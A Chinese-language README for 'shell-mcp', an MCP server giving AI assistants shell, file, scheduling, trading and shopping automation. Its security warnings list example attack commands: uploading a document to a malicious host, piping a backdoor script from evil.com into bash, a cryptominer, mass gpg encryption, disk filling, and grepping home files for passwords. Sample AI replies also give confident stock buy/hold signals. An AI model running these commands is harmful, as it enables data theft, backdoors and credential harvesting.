Shell MCP

Shell MCP

一款适用于生产环境的 MCP（Model Context Protocol）服务，可执行 Shell 命令并进行系统操作。

📚 查看完整文档网站，享受包含交互式示例和指南的优化阅读体验。

目录

• 这是什么？ - 了解此服务的功能
• ⚠️ 重要免责声明与安全警告 - 请先阅读
• 真实使用场景 - 查看实际场景，包括股票交易、网页自动化和网购
• 如何与 AI 助手搭配使用 - Claude Desktop 和其他工具的设置指南
• 对话示例 - 通过真实示例了解实际效果
• 获取最佳效果的技巧 - 充分发挥 AI 助手的作用
• 启用高级功能 - 设置股票市场 API、浏览器自动化等
• 面向最终用户的安装指南 - 快速设置指南
• 可用工具 - 工具参考
• 安全注意事项 - 重要安全信息
• 面向开发者 - 开发与贡献指南

这是什么？

此 MCP 服务可让 AI 助手（如 Claude、ChatGPT 或其他 AI Agent）与计算机操作系统进行交互。连接后，AI 助手可以：

• 代你执行 Shell 命令
• 读取和写入文件
• 监控系统资源和进程
• 自动化复杂工作流
• 跟踪股票市场价格和交易信号
• 在 Amazon 和其他在线零售商处搜索并比较价格
• 打开应用程序并控制浏览器
• 安排自动化任务和日常流程

你可以把它想象成给 AI 助手一双“手”，帮助你进行系统管理、开发任务、数据处理、财务监控、网购和日常自动化，同时保持安全控制。

从整理文件等简单任务，到监控股票投资组合、在线寻找最佳优惠等高级自动化，AI 助手都能成为强大的个人自动化引擎。

⚠️ 重要免责声明与安全警告

🛑 使用前请阅读

本软件为 AI 助手提供 Shell 命令执行能力。使用风险自负。

法律免责声明

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

使用此 MCP 服务，即表示你知悉并接受以下事项的全部责任：

• AI 助手执行的所有命令
• 可能发生的任何数据丢失、系统损坏或安全漏洞
• 自动交易或购买决策造成的财务损失
• 对系统的任何未授权访问或恶意使用
• 遵守所有适用法律和服务条款

⚠️ 重要安全警告

🔴 极度危险：未启用沙盒模式

在未启用沙盒模式的情况下运行此服务，会让 AI 助手获得对以下内容的不受限制的访问权限：

• 整个文件系统——可以读取、修改或删除任何文件
• 所有系统命令——可以使用你的用户权限执行任何 Shell 命令
• 网络访问——可以建立外部连接、下载文件和发送数据
• 进程控制——可以启动、停止或终止任何进程
• 金融系统——如果可以访问相关凭据，就可以进行交易、购物和转账
• 个人数据——可以访问电子邮件、文档、浏览器历史记录和密码（如果存储在本地）

如果没有设置 SANDBOX_MODE=true，你的 AI 助手拥有的权限与你坐在键盘前时完全相同。

🟡 即使处于沙盒模式，也存在潜在危险

数据丢失：

• AI 可能误解请求并删除重要文件
• 自动化脚本可能覆盖或损坏数据
• 批量操作可能导致错误在多个文件间连锁扩散

财务风险：

• 自动化交易脚本可能执行非预期交易
• 价格监控可能依据错误数据或 API 错误采取行动
• 自动购物可能导致未经授权的购买
• API 速率限制可能产生意外费用

系统不稳定：

• 占用大量资源的命令可能导致系统崩溃
• 终止进程可能会杀死关键服务
• 磁盘操作可能耗尽存储空间或损坏文件系统

隐私泄露：

• AI 可能无意中读取敏感文件
• 日志可能包含密码或 API 密钥
• 执行的命令可能暴露环境变量

AI 的恶意行为：

• 如果你的 AI 助手遭到入侵，或存在越狱漏洞
• 如果提示词被注入恶意指令
• 如果 AI 模型出现意料之外的涌现行为
• 如果 AI 受到社会工程学操纵

🚨 AI Agent 可能如何滥用此服务

缺少适当防护措施时：

场景 1：数据窃取

# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf

场景 2：加密货币挖矿

# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &

场景 3：安装后门

# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash

场景 4：未经授权的金融交易

# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL

场景 5：类似勒索软件的行为

# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;

场景 6：系统破坏

# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100

场景 7：凭据窃取

# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt

✅ 如何保护自己

基本安全措施：

1. 务必从 SANDBOX_MODE=true 开始

   # In your AI assistant config:
   "SANDBOX_MODE": "true"
   

2. 使用权限受限的用户运行

   • 创建具有受限权限的专用用户账户
   • 切勿以 root/管理员身份运行
   • 使用文件系统权限限制访问

3. 隔离网络

   • 在无法访问网络的 Docker 容器中运行
   • 使用防火墙规则阻止出站连接
   • 监控网络流量，查找可疑活动

4. 执行前检查命令

   • 始终先让 AI 解释命令
   • 手动核实破坏性操作
   • 如果支持，请使用 --dry-run 标志

5. 实施文件系统限制

   # Only allow access to specific directories
   # Use chroot, Docker volumes, or similar isolation
   

6. 监控并审计

   • 启用 DEBUG 模式，记录所有命令
   • 定期检查日志，查找可疑活动
   • 为未经授权的操作设置警报

7. 限制金融/交易自动化

   • 切勿以明文形式存储交易凭据
   • 尽可能使用只读 API 密钥
   • 设置交易限额和审批工作流
   • 将交易自动化部署在隔离的系统上

8. 定期备份

   • 保留重要数据的近期备份
   • 定期测试备份恢复
   • 将备份存储在离线位置或不可变存储中

🔒 建议的安全配置

用于测试/学习：

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

用于个人用途（低风险任务）：

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

用于生产/关键系统：

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan

⚖️ 法律与道德注意事项

你有责任确保：

• 遵守计算机欺诈与滥用相关法律
• 遵守外部 API 和服务的服务条款
• 遵守数据隐私法规（GDPR、CCPA 等）
• 在访问或修改系统前获得适当授权
• 以合乎道德的方式使用自动化和 AI 功能

交易与金融自动化：

• 自动化交易可能违反经纪商的服务条款
• 对所有已执行的交易，你都负有责任，即使交易由自动化执行
• 在大多数司法管辖区，操纵市场属于违法行为
• 自动化交易前请寻求专业的财务建议

网页抓取与自动化：

• 遵守 robots.txt 和网站服务条款
• 不要发送过多请求，以免服务器负载过高
• 商业使用抓取的数据前，请先获得许可
• 注意版权和知识产权

🎓 教育与认知

此服务适用于：

• 合法的自动化和效率提升
• 了解 AI 辅助开发和系统管理
• 在受控环境中进行个人项目和试验

此服务不适用于：

• 未经授权访问计算机系统
• 恶意活动或造成伤害
• 规避安全措施
• 违反法律、法规或服务条款

📞 事件响应

如果怀疑 AI 助手已遭入侵或正在实施恶意行为：

1. 立即断开连接 - 终止 MCP 服务进程
2. 断开网络连接 - 拔掉以太网线或禁用 WiFi
3. 检查日志 - 查看执行了哪些命令
4. 扫描恶意软件 - 运行防病毒和安全扫描
5. 更改凭据 - 更新密码和 API 密钥
6. 必要时报告 - 如果发生数据泄露，请联系相关方

最终警告

使用此 MCP 服务意味着您信任 AI 助手并授予其重要的系统访问权限。虽然 AI 助手通常很有帮助并会遵循指令，但它们：

• 可能无法正确理解命令
• 可能容易受到提示词注入攻击
• 可能存在错误或出现意外行为
• 可能误解上下文或意图
• 无法为自身行为承担责任

您的系统上发生的一切，最终都由您负责。

如有疑虑，请使用 SANDBOX_MODE=true，并在执行前手动检查命令。

实际应用场景

面向开发者

场景 1：自动设置项目

“使用 TypeScript 创建一个新的 React 项目，安装依赖项，初始化 Git，并创建基本文件结构。”

您的 AI 助手可以执行所有这些命令、创建必要的配置文件并验证设置，帮您节省 15-20 分钟的重复工作。

场景 2：代码分析与重构

“查找项目中的所有 TODO 注释，按优先级分类，并创建一份 markdown 报告。”

AI 可以搜索您的代码库、分析模式并生成全面的报告。

场景 3：调试开发环境

“检查我的 Docker 容器为什么无法启动。查看日志、确认端口是否可用，并检查系统资源。”

您的 AI 助手可以通过运行诊断命令并解读结果来排查问题。

面向系统管理员

场景 4：系统健康监控

“全面检查系统健康状况：CPU 使用率、内存统计、磁盘空间，以及是否有进程占用过多资源。”

无需手动运行多个命令，即可立即获取并解读系统诊断信息。

场景 5：日志分析

“检查系统日志的最后 100 行，查找错误，总结问题并提出解决方案。”

AI 不仅可以检索日志，还能分析模式并提供可执行的见解。

场景 6：自动维护

“清理旧的 Docker 镜像，全局移除未使用的 npm 包，并清除超过 30 天的系统缓存文件。”

只需一个自然语言请求，即可执行复杂的清理流程。

面向数据科学家和分析师

场景 7：数据管道自动化

“从此 URL 下载 CSV，将其转换为 JSON，删除重复项，并使用今天的日期保存文件。”

AI 能够理解上下文，并串联执行多个数据处理命令。

场景 8：批量文件处理

“查找 data 文件夹中的所有 .csv 文件，获取每个文件的行数，并创建汇总报告。”

自动完成重复的数据探索任务。

面向 DevOps 工程师

场景 9：部署验证

“检查应用是否正在端口 8080 上运行，验证数据库连接，并测试健康检查端点。”

通过智能解读，自动执行部署后的验证。

场景 10：资源优化

“找出占用超过 500MB RAM 的进程，确认它们是什么，并建议哪些进程可以安全终止。”

借助 AI 引导决策，主动管理资源。

面向交易者和金融爱好者

场景 11：股市监控

“查看 Apple、Microsoft 和 Tesla 股票的当前价格。如果其中任何一只跌破其 50 日移动平均线，请提醒我。”

AI 可以执行 Python/Node.js 脚本，或使用 curl 从 API（如 Alpha Vantage、Yahoo Finance 等）获取实时股票数据、分析趋势并自动监控投资组合。

场景 12：自动交易信号

“每天上午 9:30，分析排名前 10 的科技股，查看其盘前走势，并根据技术指标生成包含买入/卖出建议的交易信号报告。”

设置 cron 作业或定时脚本，让 AI 获取市场数据、执行技术分析（RSI、MACD、布林带）并生成可执行的见解——所有操作均通过 Shell 命令自动完成。

场景 13：投资组合跟踪

“我以 $875 的价格买入了 10 股 NVDA。跟踪其表现，计算我当前的盈亏，并在涨跌超过 5% 时通知我。”

AI 可以维护投资组合跟踪脚本，使用实时数据更新，并为你提供投资情况的智能摘要。

日常自动化与效率提升

场景 14：智能浏览器自动化

“打开 Chrome，前往我公司的仪表板，截取分析页面的屏幕截图，并将其保存到我的报告文件夹。”

借助 open（macOS）、start（Windows）或 xdg-open（Linux）等命令，以及 Puppeteer 或 Selenium 脚本等工具，AI 可以自动执行浏览器任务、抓取数据并采集信息。

场景 15：应用管理

“启动 Spotify，播放我的‘Focus’播放列表，然后用我当前的项目打开 VS Code，并启动 MongoDB 服务。”

AI 可以通过启动应用、执行 AppleScript（macOS）、PowerShell 脚本（Windows）或 shell 命令，协调整个工作环境，只需一个请求即可为你打造理想的工作区。

场景 16：网页搜索与研究

“从多个来源搜索有关‘2026 年量子计算突破’的最新信息，总结研究结果，并将其保存到 Markdown 文件中。”

使用 curl、wget，或搭配 BeautifulSoup 的 Python 脚本，AI 可以搜索网络、汇总多个来源的信息，并自动编写研究报告。

场景 17：Amazon 购物助手

“在 Amazon 上搜索评分最高的 200 美元以下无线耳机，按价格和评论比较排名前 5 的选项，并创建对比表格。”

AI 可以运行使用 Amazon Product Advertising API 或网页抓取的脚本来：

• 根据你的条件搜索商品
• 比较不同卖家的价格
• 跟踪价格历史记录，并在有优惠时提醒你
• 分析客户评论和评分
• 甚至通过 Amazon CLI 工具或脚本自动购物（需经你明确批准）

场景 18：在线价格监控

“监控 Amazon、B&H 和 Adorama 上‘Sony A7 IV 相机’的价格。每 6 小时检查一次，价格降到 2,300 美元以下时提醒我。”

设置由 AI 管理的自动价格跟踪脚本，定期运行检查，并在降价或出现限时优惠时通知你。

场景 19：智能购物清单

“我需要购买千层面食材。在 Amazon Fresh 和本地杂货配送服务中搜索最优惠的价格，然后生成一份包含最便宜选项的购物清单。”

AI 可以汇总多个来源的数据、比较价格并优化购物方案，帮你省钱——这一切都通过 API 调用和网页搜索自动完成。

场景 20：跨平台搜索与购买

“我需要一张升降桌。在 Amazon、IKEA 和 Wayfair 上搜索价格介于 300 到 500 美元之间的选项，筛选评分高于 4.5 星的商品，并创建一份对比电子表格。”

AI 可以协调多个平台的搜索、规范化数据、应用你的筛选条件，并呈现整理好的结果，帮你省去数小时的手动研究时间。

真实世界的自动化示例

完整的晨间例行事项：

“早上好！查看我的股票投资组合，告诉我隔夜有哪些重大波动，打开浏览器并访问 Gmail 和日历，启动我的开发环境，并提供天气预报。”

日终工作流：

“关闭我所有的工作应用，备份今天的代码更改，检查我关注的 Amazon 商品是否有降价，总结今天系统的资源使用情况，并关闭不必要的服务。”

购物自动化：

“我需要购买降噪耳机、机械键盘和笔记本电脑支架。分别在 Amazon 上为它们寻找 150 美元、100 美元和 50 美元以下的 3 个最佳选项。对比这些商品，并告诉我哪种组合性价比最高。”

如何与 AI 助手配合使用

Claude Desktop

在 Claude Desktop 中配置 shell-mcp 有两种方式：

选项 1：本地安装（推荐用于开发）

1. 安装服务：

   git clone https://github.com/luciVuc/shell-mcp.git
   cd shell-mcp
   npm install
   npm run build
   

2. 配置 Claude Desktop：

   编辑 Claude Desktop 配置文件：

   • macOS/Linux：~/Library/Application Support/Claude/claude_desktop_config.json
   • Windows：%APPDATA%\Claude\claude_desktop_config.json

   添加以下配置：

   {
     "mcpServers": {
       "shell": {
         "command": "node",
         "args": ["/absolute/path/to/shell-mcp/dist/main.js"],
         "env": {
           "SANDBOX_MODE": "false",
           "COMMAND_TIMEOUT": "30000"
         }
       }
     }
   }
   

3. 重启 Claude Desktop

选项 2：使用 npx（无需安装）

如果你不想在本地克隆并构建项目，可以使用 npx 直接从 npm 运行 shell-mcp：

无需安装的配置：

如上所述，编辑 Claude Desktop 配置文件并添加：

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

用于生产环境（启用沙盒）：

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

**注意：**首次运行时，npx 会下载并缓存该软件包。之后运行时会使用缓存版本，以加快启动速度。

开始使用

配置好任一选项后：

1. 重启 Claude Desktop

2. 开始使用：

   “你能检查一下我系统的 CPU 和内存使用情况吗？” “创建一个备份脚本，用于归档我的项目文件夹。” “查找过去一周内修改过的所有 JavaScript 文件。”

有关配置选项和环境变量的详细信息，请参阅 CLAUDE_SETUP.md。

其他兼容 MCP 的 AI 工具

任何支持模型上下文协议的 AI 助手都可以使用此服务：

示例：自定义 AI Agent（Python）

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

# Connect to the MCP server
server_params = StdioServerParameters(
    command="node",
    args=["/path/to/shell-mcp/dist/main.js"],
    env={"SANDBOX_MODE": "true"}
)

async with stdio_client(server_params) as (read, write):
    async with ClientSession(read, write) as session:
        # Initialize connection
        await session.initialize()

        # List available tools
        tools = await session.list_tools()

        # Execute a command
        result = await session.call_tool("exec", {
            "command": "df -h"
        })
        print(result)

示例：Node.js AI Agent

import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

// Create MCP client
const transport = new StdioClientTransport({
  command: "node",
  args: ["/path/to/shell-mcp/dist/main.js"],
  env: { SANDBOX_MODE: "true" },
});

const client = new Client(
  {
    name: "my-ai-agent",
    version: "1.0.0",
  },
  { capabilities: {} }
);

await client.connect(transport);

// Get system info
const result = await client.callTool({
  name: "getSystemInfo",
  arguments: {},
});

console.log(result);

AI Agent 可以执行的操作

连接后，你的 AI 助手可以帮助你：

系统操作：

• 监控 CPU、内存和磁盘使用情况
• 检查正在运行的进程及资源消耗
• 检查系统运行时间和运行状况
• 分析系统日志

文件管理：

• 创建、读取、更新和删除文件
• 按名称或内容搜索文件
• 批量重命名或整理文件
• 根据文件数据生成报告

开发任务：

• 运行构建脚本和测试
• 安装依赖项
• 搜索代码库
• 执行 git 命令
• 部署应用程序

数据处理：

• 下载并处理文件
• 转换文件格式
• 提取和转换数据
• 生成报告和摘要

自动化：

• 安排并运行维护任务
• 执行复杂的多步骤工作流
• 执行系统备份
• 清理临时文件

调试与诊断：

• 检查应用程序日志
• 检查网络连接
• 测试 API 端点
• 调查错误

对话示例

以下是连接此 MCP 服务后，你与 AI 助手交互的真实示例：

示例 1：系统运行状况检查

你：“你能检查一下我系统的运行状况，并告诉我是否有需要处理的问题吗？”

AI 助手：使用 getSystemInfo 工具，然后通过 exec 检查磁盘空间和正在运行的进程

“你的系统整体运行状况良好：

• CPU：8 个核心，目前使用率为 23%
• 内存：总计 16GB，可用 8.2GB（可用率 51%）
• 磁盘：总计 500GB，可用 127GB（25%——可能很快就需要清理）
• 运行时间：5 天 3 小时

我注意到 Docker Desktop 正在使用 3.2GB 内存。你想让我检查一下是否有可以移除的未使用容器吗？”

示例 2：项目分析

你：“我在 ~/projects/my-app 中有一个 Node.js 项目。你能分析一下它，并告诉我项目结构和潜在问题吗？”

AI 助手：使用 listDir 和 readFile 工具

“我已经分析了你的项目。以下是我的发现：

• 47 个 JavaScript 文件、12 个 JSON 配置文件
• 依赖项：23 个生产依赖项、15 个开发依赖项
• 最近修改：package.json（2 小时前）
• 潜在问题：
  • 在代码中发现 8 条 TODO 注释
  • 3 个软件包存在已知漏洞（需要运行 npm audit fix）
  • 没有 .env.example 文件（建议为团队成员添加一个）

你想让我创建一份详细报告，还是帮你解决其中任何问题？”

示例 3：数据处理

你：“我在 ~/data/sales/ 中有本月的 CSV 文件。你能把它们合并、删除重复项并生成摘要吗？”

AI 助手： 使用 listDir、readFile、exec 和 writeFile 工具

“完成！我已处理你的销售数据：

• 找到 4 个 CSV 文件（sales_week1.csv 至 sales_week4.csv）
• 合并后：共 1,247 条记录
• 删除：38 条重复记录
• 最终数据集：1,209 条唯一销售记录
• 已创建：~/data/sales/february_2026_summary.csv

摘要统计：

• 总收入：$47,382
• 平均销售额：$39.12
• 最畅销产品：Widget Pro（237 笔销售）

合并后的文件已就绪，位于 ~/data/sales/february_2026_summary.csv”

示例 4：开发工作流

你：“使用 TypeScript 搭建一个名为 ‘dashboard’ 的新 React 项目，安装 Tailwind CSS，并创建基本的组件结构。”

AI 助手： 使用 exec 和 writeFile 工具

“项目设置已完成！以下是我执行的操作：

1. 已创建 React + TypeScript 项目：✓
2. 已安装并配置 Tailwind CSS：✓
3. 已创建组件结构：
   • src/components/Header.tsx
   • src/components/Sidebar.tsx
   • src/components/Dashboard.tsx
   • src/pages/Home.tsx
4. 已初始化 Git 仓库：✓
5. 已创建 .gitignore：✓

你接下来可能会想：

• 运行 'npm run dev' 启动开发服务器
• 配置身份验证
• 使用 React Router 添加路由

还需要我添加其他内容吗？”

示例 5：故障排查

你：“我的 Web 服务器无法启动。它应该运行在 3000 端口。你能帮我找出原因吗？”

AI 助手： 使用 exec 和 listProcesses 工具

“我找到问题了！3000 端口已被占用：

占用 3000 端口的进程：

• PID：8472
• 命令：node old-server.js
• 启动时间：3 天前

这似乎是一个仍在运行的旧服务器。可选操作：

1. 终止此进程（我可以帮你操作）
2. 将新服务器改为使用其他端口（例如 3001）
3. 检查是否还需要运行旧服务器

你想怎么做？”

示例 6：股市监控与交易信号

你：“我对科技股感兴趣。你能查一下 Apple、Microsoft、Google 和 NVIDIA 的当前股价，并根据它们近期的表现告诉我哪些看起来是不错的买入机会吗？”

AI 助手： 使用 exec 工具运行 Python 脚本，通过 API 获取股票数据

“我已分析你的科技股当前的市场数据：

AAPL（Apple Inc.） — $178.45（今日 +2.3%）

• 近期趋势：强劲的上升势头
• 50 日均线：$172.30（当前高于均线——看涨信号）
• RSI：58（中性，还有上涨空间）
• 信号：✅ 中度买入
• 注意：已突破 $177 的阻力位

MSFT（Microsoft） — $412.80（今日 -0.8%）

• 近期趋势：从高点小幅回落
• 50 日均线：$408.50（当前高于均线）
• RSI：52（中性）
• 信号：⏸️ 持有/观望
• 注意：小幅盘整，回调时可能是买入机会

GOOGL（Alphabet） — $145.20（今日 +1.1%）

• 近期趋势：稳步上行
• 50 日均线：$141.80（高于均线——看涨）
• RSI：62（接近超买）
• 信号：⚠️ 观望
• 注意：走势强劲，但短期价格已偏高

NVDA（NVIDIA） — $892.30（今日 +4.7%）

• 近期趋势：势头非常强劲
• 50 日均线：$825.40（远高于均线）
• RSI：71（略微超买）
• 信号：⚠️ 走势过度延伸
• 注意：涨势惊人，但可能需要盘整

最佳机会： 如果 MSFT 回落至 $405-408 区间，看起来是最佳入场点。AAPL 也呈现出良好的上涨势头，还有上涨空间。

你希望我：

1. 设置自动监控，在 MSFT 跌至 $405 时提醒你？
2. 创建详细的技术分析报告？
3. 跟踪这些股票，并在出现重大变化时通知你？”

示例 7：智能 Amazon 购物助手

你：“我想买一副不错的无线降噪耳机，预算不超过 $300。你能帮我在 Amazon 上找到最好的选择吗？”

AI 助手： 使用 exec 工具运行网页抓取脚本或 Amazon API 集成

“我已在 Amazon 上搜索了价格低于 $300 的无线降噪耳机。以下是排名前 5 的选择：

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐

• 评分：4.7/5（18,432 条评价）
• 特性：行业领先的 ANC、30 小时续航、多点连接
• 价格历史：当前价格比平均价格低 $20
• ✅ 综合最佳 - 在你的预算上限内享受优质品质

2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐

• 评分：4.6/5（12,891 条评价）
• 特性：出色的 ANC、24 小时续航、长时间佩戴也很舒适
• 价格历史：历史最低价！
• 💰 性价比最佳 - 现在降价幅度很大

3. Apple AirPods Max - $449.00 ❌（超出预算）

• 评分：4.8/5（8,234 条评价）
• 价格太高，但我还是提到了它，因为有一条 20% 折扣优惠提醒

4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐

• 评分：4.5/5（6,721 条评价）
• 特性：60 小时续航！音质出色，降噪效果不错
• 🔋 续航最佳

5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐

• 评分：4.4/5（9,156 条评价）
• 特性：50 小时续航，价格相当实惠的降噪效果，支持自适应
• 💵 预算之选 - 最超值

我的推荐： 如果你想要最好的选择：Sony WH-1000XM5（降噪效果最佳） 如果你想要最划算的选择：Bose QC45（现在只要 $249，价格非常实惠！）

其他信息：

• Bose QC45 目前是 90 天内的最低价，现在是购买的好时机！
• Sony WH-1000XM5 很少打折，$280 是非常合理的价格
• 所有选项都支持 Prime 免费配送

你想让我：

1. 把其中一款加入购物车？
2. 设置价格提醒，以便等更优惠的价格？
3. 搜索翻新或开箱版本，看看能否进一步省钱？
4. 将这些耳机与 Best Buy 或其他零售商的类似选项进行比较？”

示例 8：早间市场例行任务自动化

你：“你能设置一个早间例行任务，在每个工作日上午 9:00 检查我的股票投资组合、市场新闻，并打开我的交易控制面板吗？”

AI 助手： 使用 writeFile 创建脚本，并使用 exec 设置 cron 作业

“我已创建全面的早间市场例行任务！以下是我设置的内容：

已创建： ~/scripts/morning-market-routine.sh

每个工作日上午 9:00 执行的操作：

1. ✅ 获取你的投资组合数据（AAPL、MSFT、NVDA、GOOGL 持仓）
2. ✅ 计算隔夜盈亏
3. ✅ 查看主要市场指数（S&P 500、NASDAQ、DOW）
4. ✅ 获取排名前 5 的热门股票和加密货币
5. ✅ 扫描包含你的股票代码的财经新闻
6. ✅ 在 Chrome 中打开你的 TradingView 控制面板
7. ✅ 生成摘要报告并发送到你的终端

已安排： 已安装 cron 作业，设定为每个工作日上午 9:00（美国东部标准时间）执行

你明天将看到的示例：

═══════════════════════════════════════════
📊 MORNING MARKET BRIEFING - Feb 29, 2026
═══════════════════════════════════════════

YOUR PORTFOLIO:
  Total Value: $48,320 (+$420 overnight, +0.88%)

  AAPL: 25 shares @ $178.45 → $4,461 (+1.2%)
  MSFT: 10 shares @ $412.80 → $4,128 (-0.3%)
  NVDA: 15 shares @ $892.30 → $13,384 (+2.1%)
  Cash: $26,347

MARKET OVERVIEW:
  S&P 500: +0.4% (pre-market)
  NASDAQ: +0.7% (tech rally continues)

TRENDING: AI chipmakers surging on new data center demand
  Top gainer: AMD +3.8% pre-market

NEWS ALERTS:
  - NVDA announces new AI chip partnership
  - MSFT expanding cloud services in Europe

浏览器会自动打开并显示你的控制面板，完整报告将保存到 ~/market-reports/2026-02-29.txt

要我调整任何设置或添加更多功能吗？”

获得最佳效果的提示

与 AI 助手交流

明确具体：

• ❌“检查我的文件”
• ✅“列出 Documents 文件夹中上周修改的所有 PDF 文件”

请求摘要：

• “获取我的系统信息，并告诉我有没有什么异常”
• “查看服务器日志的最后 50 行，并总结其中的错误”

请求多步骤操作：

• “查找系统中的所有 Node.js 项目，检查哪些项目需要更新依赖项，并生成摘要报告”

使用自然语言：

• 你不需要了解命令语法！
• 说“查找大文件”，而不是尝试编写 find 命令
• AI 会将你的意图转换为恰当的命令

安全提示

从沙盒模式开始：

# In your AI assistant config
"SANDBOX_MODE": "true"

这会增加额外的安全检查，帮助你逐步熟悉操作。

在执行破坏性操作前先确认：

• 你的 AI 助手通常会在删除文件或进行重大更改前询问你
• 你随时可以询问“告诉我你准备运行什么命令”

用于自动化：

• 熟悉之后，可以为重复性任务创建脚本
• 示例：“创建一个我可以每周运行的备份脚本”

监控资源使用情况：

• 如果系统运行变慢，可以让 AI 检查系统资源
• 示例：“我的系统中哪个程序占用的内存最多？”

首先可以尝试的操作

1. 系统检查：“概述一下系统运行状况”
2. 文件整理：“帮我整理 Downloads 文件夹”
3. 项目分析：“分析我在 ~/code/myapp 中的项目”
4. 日志排查：“检查我的应用日志中是否有错误”
5. 进程管理：“告诉我哪个程序占用的 CPU 最多”

启用高级功能

要使用股票市场监控、网页浏览和在线购物等高级自动化功能，你可能需要其他工具：

股票市场与金融 API

选项 1：免费 API（推荐入门使用）

# Alpha Vantage (Free tier: 500 requests/day)
# Get your free API key at: https://www.alphavantage.co/support/#api-key
export ALPHA_VANTAGE_API_KEY="your_key_here"

选项 2：高级 API

• Yahoo Finance API：实时股票数据
• Polygon.io：高级市场数据
• IEX Cloud：金融数据平台

AI 可使用的脚本示例：

# ~/scripts/stock_checker.py
import requests
import os

def get_stock_price(symbol):
    api_key = os.getenv('ALPHA_VANTAGE_API_KEY')
    url = f'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol={symbol}&apikey={api_key}'
    response = requests.get(url)
    return response.json()

# Your AI assistant can run: python ~/scripts/stock_checker.py

浏览器自动化

安装 Puppeteer（Node.js）或 Playwright：

# For web scraping and browser automation
npm install -g puppeteer
# or
npm install -g playwright

然后，AI 可以：

• 自动打开网站
• 填写表单并点击按钮
• 截取屏幕截图
• 从网页中提取数据

Amazon 购物与价格监控

选项 1：Amazon 商品推广 API

• 在此注册：https://affiliate-program.amazon.com/assoc_credentials/home
• Amazon Associates 可免费使用
• AI 可以通过编程方式搜索商品

选项 2：网页抓取（个人使用）

# Install a scraping tool
pip install beautifulsoup4 requests

选项 3：价格追踪工具

# CamelCamelCamel API integration or similar services
# Your AI can check price history automatically

打开应用程序

macOS：

# Your AI uses commands like:
open -a "Google Chrome" https://amazon.com
open -a "Spotify"

Windows：

start chrome https://amazon.com
start spotify

Linux：

xdg-open https://amazon.com
spotify &

定时自动化

AI 可以设置定时任务：

macOS/Linux（Cron）：

# Your AI creates cron jobs for you
crontab -e
# Example: Check stocks every hour on weekdays
0 9-16 * * 1-5 /usr/bin/python3 ~/scripts/stock_checker.py

Windows（任务计划程序）：

# Your AI can create scheduled tasks
schtasks /create /tn "StockCheck" /tr "python stock_checker.py" /sc daily /st 09:00

开始使用高级功能

1. **从简单开始：**使用免费 API 查询基本股票价格
2. **逐步扩展：**为特定网站添加浏览器自动化
3. **自动执行日常任务：**让 AI 为日常任务创建定时脚本
4. **注意安全：**运行脚本前务必先检查，尤其是涉及金融交易的脚本

你的 AI 助手可以帮你完成以下设置：

• “帮我获取 Alpha Vantage API 密钥并完成设置”
• “安装 Puppeteer 并创建一个查询 Amazon 价格的脚本”
• “设置一个 cron 任务，每天早上检查我的股票投资组合”

功能

• Shell 命令执行：执行任意 Shell 命令，并提供超时和安全控制
• 文件操作：读取、写入和删除文件，以及列出目录，并防止路径遍历
• 系统信息：跨平台获取系统信息（CPU、内存、磁盘、操作系统）
• 进程管理：列出正在运行的进程并筛选
• 多传输方式支持：stdio（默认）、SSE（已弃用）和 Streamable HTTP 传输方式
• 安全性：命令验证、沙盒隔离、路径遍历保护、速率限制和审计日志
• Sudo 支持：可选择启用特权命令执行，并处理密码
• 跨平台：支持 macOS、Linux 和 Windows
• 适用于生产环境：完善的错误处理和日志记录、使用 Zod 进行输入验证，以及平滑关闭
• 文档完善：提供详尽的文档，包括安全指南和设置指南
• 测试完备：使用 vitest 编写的单元测试和集成测试

面向最终用户的安装指南

要将此 MCP 服务与 AI 助手配合使用，请按以下步骤操作：

前置条件

• Node.js（18 或更高版本）- 在此下载
• npm（随 Node.js 一起安装）
• 与 MCP 兼容的 AI 助手（例如 Claude Desktop）

分步设置

1. 克隆或下载此仓库：

   git clone https://github.com/luciVuc/shell-mcp.git
   cd shell-mcp
   

2. 安装依赖项：

   npm install
   

3. 构建服务：

   npm run build
   

4. 配置 AI 助手（参见上文的“如何与 AI 助手配合使用”部分）

5. 开始与 AI 聊天！ 现在，助手可以访问系统操作。

可选：配置

使用环境变量自定义行为：

